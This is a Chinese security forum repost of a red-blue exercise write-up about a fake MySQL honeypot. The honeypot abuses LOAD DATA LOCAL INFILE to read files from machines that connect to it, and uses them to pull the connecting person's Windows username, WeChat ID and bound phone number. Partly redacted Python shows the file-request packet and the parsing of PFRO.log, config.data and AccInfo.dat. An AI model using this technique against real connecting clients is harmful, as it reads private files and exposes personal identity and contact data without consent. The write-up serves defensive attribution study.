安全矩阵

 找回密码
 立即注册
搜索
查看: 2212|回复: 0

『红蓝对抗』利用蜜罐获取攻击者WX的ID及手机号

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-5 09:32:50 | 显示全部楼层 |阅读模式
『红蓝对抗』利用蜜罐获取攻击者WX的ID及手机号网络安全编程与黑客程序员 3天前
    文章来源:宸极实验室
日期:2021-05-29
作者:Obsidian
转自:宸极实验室
介绍:通过 MySQL 任意文件读取,获取攻击者的微信以及绑定手机号。

0x00 前言之前在打 CTF 的时候,多次遇到了这个漏洞。
护网期间,研究了一下蜜罐的骚操作,比如获取百度 ID、CSDN 账号、微信 ID 等等,对攻击者进行攻击者画像。
学习了一下原理,然后做了一些改进,利用 MySQL 的漏洞,获取攻击者手机号。
本系统代码非完全原创,部分代码参照:
https://github.com/qigpig/MysqlHoneypot
关于 MySQL 任意文件读取漏洞,网上很多大佬写了很详细的分析文章,本文不再复述。同时,如果想复现漏洞,也可选取 github 上其他更加简洁的单文件server代码。
0x01 漏洞相关1.1 漏洞简介Fake MySQL 顾名思义,就是虚假的MySQL。
其实这个名词是我个人习惯的称呼,关于完整的定义目前在网上没有一个公认的说法。
以下均为个人理解,如有问题,欢迎指正。
Fake MySQL是基于构造一个伪装的MySQL服务器,通过命令或诱导来使受害者连接此服务器,从而利用MySQL的相关漏洞进行文件读取,或者反序列化利用。
本文不涉及反序列化的利用,可以简单理解为一个 MySQL 蜜罐,利用漏洞为LOAD DATA LOCAL INFILE的任意文件读取。
以上就是本文全部废话了,话不多说,直接进入正题。

1.2 漏洞复现及利用文字废话太多,直接上图吧。

如图所示当我在服务器上运行payload代码,并设置我想要读取的文件,即可进入监听模式。
当攻击者连接我的3306端口,即可成功读取到攻击者电脑上的对应文件。
Linux同理,可以读取 /etc/passwd 等文件。
那么,可以读文件,进一步怎样拓展呢?
根据大佬的文章,我们可以通过读取 C:\Windows\PFRO.log 文件来获取攻击者的用户名,根据用户名读取相应文件夹中的微信配置文件,进而获取微信ID。前提是微信文件保存路径为默认。
获取用户名,如图所示:


但这种方式的缺点是,只能单文件读取,每次需要重新设置文件名,不能实现循环读取。
于是,根据 https://github.com/qigpig/MysqlHoneypot 中的部分代码,进行进一步的完善和修改,就有了下面的内容:

0x02 工具相关2.1 代码相关开门见山,本系统代码乍一看很完美,但以普遍理性而论,仅适用于读取 windows 系统的文件。
先看核心代码:
  1. def mysql_get_file_content(filename,conn,address):
  2.     logpath = os.path.abspath('.') + "/log/" + address[0]
  3.     if not os.path.exists(logpath):
  4.         os.makedirs(logpath)
  5.     conn.sendall("xxx")
  6.     try:
  7.         conn.recv(1024000)
  8.     except Exception as e:
  9.         print(e)

  10.     try:
  11.         conn.sendall("xx")
  12.         res1 = conn.recv(1024000)
  13.         # SHOW VARIABLES
  14.         if 'SHOW VARIABLES' in res1:
  15.             conn.sendall("xxx")
  16.             res2 = conn.recv(9999)
  17.             if 'SHOW WARNINGS' in res2:
  18.                 conn.sendall("xxx")
  19.                 res3 = conn.recv(9999)
  20.                 if 'SHOW COLLATION' in res3:
  21.                     conn.sendall("xxx")
  22.                     res4 = conn.recv(9999)
  23.                     if 'SET NAMES utf8' in res4:
  24.                         conn.sendall("xxx")
  25.                         res5 = conn.recv(9999)
  26.                         if 'SET character_set_results=NULL' in res5:
  27.                             conn.sendall("xxx")
  28.                             conn.close()
  29.                     else:
  30.                         conn.close()
  31.                 else:
  32.                     conn.close()
  33.             else:
  34.                 conn.close()
  35.         else:
  36.             try:
  37.                 wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
  38.                 conn.sendall(wantfile)
  39.                 content=''
  40.                 while True:
  41.                     data = conn.recv(1024)
  42.                     print len(data)
  43.                     content += data
  44.                     if len(data) < 1024:
  45.                         print 'ok'
  46.                         break

  47.                 conn.close()
  48.                 item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
  49.                 if len(content) > 6:
  50.                     with open(item, "w") as f:
  51.                         f.write(content)
  52.                         f.close()
  53.                     return (True,content)
  54.                 else:
  55.                     return (False,content)
  56.             except Exception as e:
  57.                 print (e)
  58.     except Exception as e:
  59.         print (e)
复制代码
这段代码主要有两个作用:
1.判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
2.如果是直接连接,去读取设定好的文件,并写入本地保存。
PS:为了防止读取文件内容不完整,加入了while循环。
  1. while True:
  2.         conn, address = sv.accept()
  3.         first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  4.         global files1
  5.         global username
  6.         global wx_id
  7.         file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
  8.         res,content = mysql_get_file_content(file,conn,address)
  9.         files1.append(files1[0])
  10.         files1.remove(files1[0])
  11.         if res:
  12.             if 'PFRO' in file:
  13.                 username = get_username(content)
  14.                 s= "xx" % (xx)
  15.                 cursor.execute(s)
  16.                 data = cursor.fetchall()
  17.                 if len(data)==0:
  18.                     s = "XX" % (xx)
  19.                     cursor.execute(s)
  20.                     db.commit()
  21.                     print 'success:'+ file
  22.                     insert_file(file,address,username)
  23.             elif 'config.data'in file:
  24.                 content = content
  25.                 wxid = re.findall(r'WeChatFiles\\(.*)\\config', content)[0]
  26.                 sql = "xxx" % (xxx)
  27.                 cursor.execute(sql)
  28.                 db.commit()
  29.                 wx_id=wxid
  30.                 img = qrcode.make('weixin://contacts/profile/'+wxid)
  31.                 img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png')
  32.                 print 'success:'+ file
  33.                 insert_file(file,address,username)
  34.             elif 'AccInfo' in file:
  35.                 content = content
  36.                 phone = re.findall(r'[0-9]{11}', content)[-1]
  37.                 sql = "xxx" % (xxx)
  38.                 cursor.execute(sql)
  39.                 db.commit()
  40.                 print 'success:'+ file
  41.                 insert_file(file,address,username)
  42.         else:
  43.             files1=files
  44.             username='Administrator'
复制代码
这段代码就是从文件内容获取信息并保存到数据库:
1.从C:/Windows/PFRO.log中读取用户名。
2.从C:/Users/用户名/Documents/WeChat Files/All Users/config/config.data中读取wx_id。
3.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat中读取微信绑定的手机号。
根据 wx_id 可生成微信二维码,可添加好友,根据实际测试,就算关掉了所有好友申请条件,仍可通过此二维码发起好友申请。
剩下的代码无非就是,前端显示了,这里就不展示了,直接上效果图。


2.2 效果图首先,docker启动。

本来想在80端口结合jsonp获取一下百度id以及其他信息,但无奈公开的接口都失效了,80端口只能作为一个诱饵了,下一步会研究一些如何获取百度等论坛的账号信息。

访问5000端口。

登录后:

具体效果:

目前实现了获取微信和手机号,对于溯源来说,已经足够用了。


2.3 吐槽相关前前后后,修修改改,花了差不多五天时间才完全搞定,但还是存在 bug,请多担待。
本来想增加 linux 文件的读取,但时间和精力有限,只能后续补上。
根据 qigpig 大佬的思路,本来想解决同一IP出口多用户的问题,但想来想去,只能通过用户名和IP进行双重绑定,如果读不到用户名,就没办法了。
职业不是程序员,写代码真的太难了。。。

0x03 写在最后红队大佬可参考 http://www.python88.com/topic/105651 进行蜜罐甄别。
蓝队大佬不建议将本系统作为正式蜜罐部署,仅供参考和玩耍。
0x04 Referencehttps://github.com/c0cc/fakeMysql
https://www.freebuf.com/articles/web/247976.html
https://github.com/qigpig/MysqlHoneypot
https://github.com/ev0A/Mysqlist


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:39 , Processed in 0.013079 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表